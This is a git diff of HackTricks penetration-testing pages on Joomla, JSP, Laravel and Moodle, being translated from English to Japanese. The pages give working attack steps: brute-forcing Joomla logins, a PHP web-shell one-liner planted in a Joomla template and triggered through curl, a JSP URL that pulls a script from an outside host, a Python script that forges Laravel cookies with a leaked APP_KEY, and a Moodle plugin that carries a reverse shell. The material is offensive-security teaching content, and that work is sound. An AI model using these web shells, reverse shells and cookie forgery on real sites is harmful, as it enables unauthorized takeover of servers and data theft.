+Joomlaのファイル表示機能を悪用して、ウェブサイトのファイルの内容を表示することができます。ファイル表示の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 25. ファイルの編集 + +Joomlaのファイル編集機能を悪用して、ウェブサイトのファイルを編集することができます。ファイル編集の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 ``` 1- What is this? - * This is a Joomla! installation/upgrade package to version 3.x - * Joomla! Official site: https://www.joomla.org - * Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history - * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging +* This is a Joomla! installation/upgrade package to version 3.x +* Joomla! Official site: https://www.joomla.org +* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history +* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` +### バージョン -### Version - -* In **/administrator/manifests/files/joomla.xml **_**** you can see the version._ -* In **/language/en-GB/en-GB.xml** you can get the version of Joomla. -* In **plugins/system/cache/cache.xml** you can see an approximate version. - -### Automatic +* **/administrator/manifests/files/joomla.xml** ではバージョンを確認できます。 +* **/language/en-GB/en-GB.xml** ではJoomlaのバージョンを取得できます。 +* **plugins/system/cache/cache.xml** ではおおよそのバージョンを確認できます。 +### 自動化 ```bash droopescan scan joomla --url http://joomla-site.local/ ``` +In[ **80,443 - Pentesting Web Methodologyは、JoomlaをスキャンできるCMSスキャナに関するセクションです**](./#cms-scanners)。 -In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](./#cms-scanners) that can scan Joomla. - -### Brute-Force - -You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login. +### ブルートフォース +[このスクリプト](https://github.com/ajnik/joomla-bruteforce)を使用して、ログインのブルートフォース攻撃を試みることができます。 ```shell-session sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin - + admin:admin ``` - ## RCE -If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**. +**管理者の資格情報**を取得できた場合、**PHPコードのスニペット**を追加して**RCE**を実行することができます。これは**テンプレート**を**カスタマイズ**することで行うことができます。 -1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu. -2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page. -3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows: - 1. **`system($_GET['cmd']);`** +1. `Configuration`の下にある**`Templates`**をクリックして、テンプレートメニューを表示します。 +2. **`Template`**列のヘッダーの下にある**`protostar`**を選択して、**`Templates: Customise`**ページに移動します。 +3. 最後に、ページソースを表示するためにページをクリックします。**`error.php`**ページを選択しましょう。以下のように**PHPのワンライナーを追加してコード実行を行います**: +1. **`system($_GET['cmd']);`** 4. **Save & Close** 5. `curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id` @@ -117,10 +220,10 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-web/jsp.md b/network-services-pentesting/pentesting-web/jsp.md index 590f5de51..49b4d832b 100644 --- a/network-services-pentesting/pentesting-web/jsp.md +++ b/network-services-pentesting/pentesting-web/jsp.md @@ -1,31 +1,27 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# **getContextPath** abuse - -Info from [here](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html). +# **getContextPath**の乱用 +[ここ](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html)からの情報。 ``` - http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp +http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp ``` - -Accessing that web you may change all the links to request the information to _**rakeshmane.com**_: +そのウェブにアクセスすると、すべてのリンクを情報を要求するために _**rakeshmane.com**_ に変更することができます: ![](<../../.gitbook/assets/image (260).png>) @@ -36,16 +32,14 @@ Accessing that web you may change all the links to request the information to _* ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/pentesting-web/laravel.md b/network-services-pentesting/pentesting-web/laravel.md index 99e4a216c..b6e3ebc20 100644 --- a/network-services-pentesting/pentesting-web/laravel.md +++ b/network-services-pentesting/pentesting-web/laravel.md @@ -4,35 +4,34 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Laravel Tricks +## Laravelのトリック -### Debugging mode +### デバッグモード -If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\ -For example `http://127.0.0.1:8000/profiles`: +Laravelが**デバッグモード**になっている場合、**コード**や**機密データ**にアクセスできます。\ +例えば、`http://127.0.0.1:8000/profiles`: ![](<../../.gitbook/assets/image (610).png>) -This is usually needed for exploiting other Laravel RCE CVEs. +これは通常、他のLaravel RCE CVEを悪用するために必要です。 ### .env -Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env` +Laravelは、クッキーやその他の認証情報を暗号化するために使用するAPPを`.env`というファイルに保存します。このファイルには、`/../.env`のようなパストラバーサルを使用してアクセスできます。 -Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated). +Laravelは、デバッグページ(Laravelがエラーを検出し、アクティブ化されると表示されるページ)でもこの情報を表示します。 -Using the secret APP\_KEY of Laravel you can decrypt and re-encrypt cookies: - -### Decrypt Cookie +Laravelの秘密のAPP\_KEYを使用して、クッキーを復号化および再暗号化することができます。 +### クッキーの復号化 ```python import os import json @@ -48,42 +47,42 @@ from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): - global key - AES.key_size = [len(key)] - crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) - return crypt_object.decrypt(value) +global key +AES.key_size = [len(key)] +crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) +return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): - global key - AES.key_size = [len(key)] - crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) - return crypt_object.encrypt(value) +global key +AES.key_size = [len(key)] +crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) +return crypt_object.encrypt(value) def decrypt(bstring): - global key - dic = json.loads(base64.b64decode(bstring).decode()) - mac = dic['mac'] - value = bytes(dic['value'], 'utf-8') - iv = bytes(dic['iv'], 'utf-8') - if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): - return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) - #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() - return '' +global key +dic = json.loads(base64.b64decode(bstring).decode()) +mac = dic['mac'] +value = bytes(dic['value'], 'utf-8') +iv = bytes(dic['iv'], 'utf-8') +if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): +return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) +#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() +return '' def encrypt(string): - global key - iv = os.urandom(16) - #string = dumps(string) - padding = 16 - len(string) % 16 - string += bytes(chr(padding) * padding, 'utf-8') - value = base64.b64encode(mcrypt_encrypt(string, iv)) - iv = base64.b64encode(iv) - mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() - dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} - return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) +global key +iv = os.urandom(16) +#string = dumps(string) +padding = 16 - len(string) % 16 +string += bytes(chr(padding) * padding, 'utf-8') +value = base64.b64encode(mcrypt_encrypt(string, iv)) +iv = base64.b64encode(iv) +mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() +dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} +return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) @@ -91,32 +90,31 @@ decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1 #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') ``` - ### Laravel Deserialization RCE -Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +脆弱なバージョン: 5.5.40および5.6.xから5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Here you can find information about the deserialization vulnerability here: [https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +ここで、デシリアライゼーションの脆弱性に関する情報を見つけることができます: [https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec` +[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用することができます\ +または、metasploitを使用しても悪用することができます: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +別のデシリアライゼーション: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) ### Laravel SQLInjection -Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +これについての情報はこちらを参照してください: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/pentesting-web/moodle.md b/network-services-pentesting/pentesting-web/moodle.md index 4586deabb..b3f24289a 100644 --- a/network-services-pentesting/pentesting-web/moodle.md +++ b/network-services-pentesting/pentesting-web/moodle.md @@ -4,47 +4,60 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} -## Automatic Scans +## 自動スキャン ### droopescan - ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// -[+] Plugins found: - forum http://moodle.schooled.htb/moodle/mod/forum/ - http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt - http://moodle.schooled.htb/moodle/mod/forum/version.php +[+] Plugins found: +forum http://moodle.schooled.htb/moodle/mod/forum/ +http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt +http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): - 3.10.0-beta +3.10.0-beta [+] Possible interesting urls found: - Static readme file. - http://moodle.schooled.htb/moodle/README.txt - Admin panel - http://moodle.schooled.htb/moodle/login/ +Static readme file. - http://moodle.schooled.htb/moodle/README.txt +Admin panel - http://moodle.schooled.htb/moodle/login/ [+] Scan finished (0:00:05.643539 elapsed) ``` - ### moodlescan +moodlescan is a tool used for scanning and enumerating Moodle instances. It can be used to gather information about the Moodle installation, such as version, plugins, and themes. This information can be useful for identifying potential vulnerabilities and weaknesses in the Moodle system. + +To use moodlescan, you can run the following command: + +``` +moodlescan +``` + +Replace `` with the URL or IP address of the Moodle instance you want to scan. + +The tool will then perform various checks and queries to gather information about the Moodle installation. It will display the results, including the Moodle version, installed plugins, and themes. + +By analyzing the results, you can identify potential vulnerabilities and weaknesses in the Moodle system. This information can be used to further exploit the system or to strengthen its security. + +It is important to note that moodlescan should only be used for ethical purposes, such as penetration testing or security auditing. Unauthorized use of this tool can lead to legal consequences. ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// @@ -53,7 +66,7 @@ Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl - + ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... @@ -74,55 +87,86 @@ Vulnerabilities found: 0 Scan completed. ``` - ### CMSMap +CMSMapは、ウェブサイトがどのCMS(コンテンツ管理システム)を使用しているかを特定するためのツールです。このツールは、ウェブサイトのURLを入力すると、自動的にCMSの種類を特定し、そのバージョンやインストールされているプラグインなどの情報を提供します。 + +CMSMapは、ウェブサイトのセキュリティ評価や侵入テストに役立ちます。特定のCMSの脆弱性を検出するために使用することもできます。このツールは、ウェブサイトのCMSに関する情報を収集するために使用されるため、侵入テストの一環として使用する場合は、適切な許可を取得することが重要です。 + +CMSMapは、Pythonで書かれており、コマンドラインインターフェースを介して使用されます。ウェブサイトのURLを指定し、CMSMapが自動的に情報を収集することができます。このツールは、ウェブサイトのCMSに関する情報を簡単に取得するため、侵入テストの初心者から上級者まで幅広いユーザーに適しています。 + +CMSMapは、ウェブサイトのCMSに関する情報を収集するための便利なツールです。ウェブサイトのセキュリティ評価や侵入テストに役立つため、セキュリティ専門家やエンジニアにとって重要なツールです。 ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` - ### CVEs -I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) +自動ツールは、Moodleのバージョンに影響を与える脆弱性を見つけるのにはほとんど役に立たないことがわかりました。これらの脆弱性は、[https://snyk.io/vuln/composer:moodle%2Fmoodle](https://snyk.io/vuln/composer:moodle%2Fmoodle)で確認できます。 -## **RCE** +## RCE -You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab\*\*:\*\* +「マネージャー」の役割を持っている必要があり、「サイト管理」タブ内でプラグインをインストールできます。 ![](<../../.gitbook/assets/image (447).png>) -If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). +マネージャーであっても、このオプションを有効にする必要がある場合があります。Moodle特権エスカレーションPoCで確認できます:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 -Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_) +次に、次のプラグインをインストールできます。このプラグインには、クラシックなpentest-monkey php逆シェルが含まれています(アップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります)。 {% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %} -Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) to get a regular PHP shell with the "cmd" parameter. - -To access launch the malicious plugin you need to access to: +または、「cmd」パラメータを使用して通常のPHPシェルを取得するために、[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)からプラグインを使用することもできます。 +悪意のあるプラグインにアクセスするには、次の場所にアクセスする必要があります: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` - ## POST -### Find database credentials +### 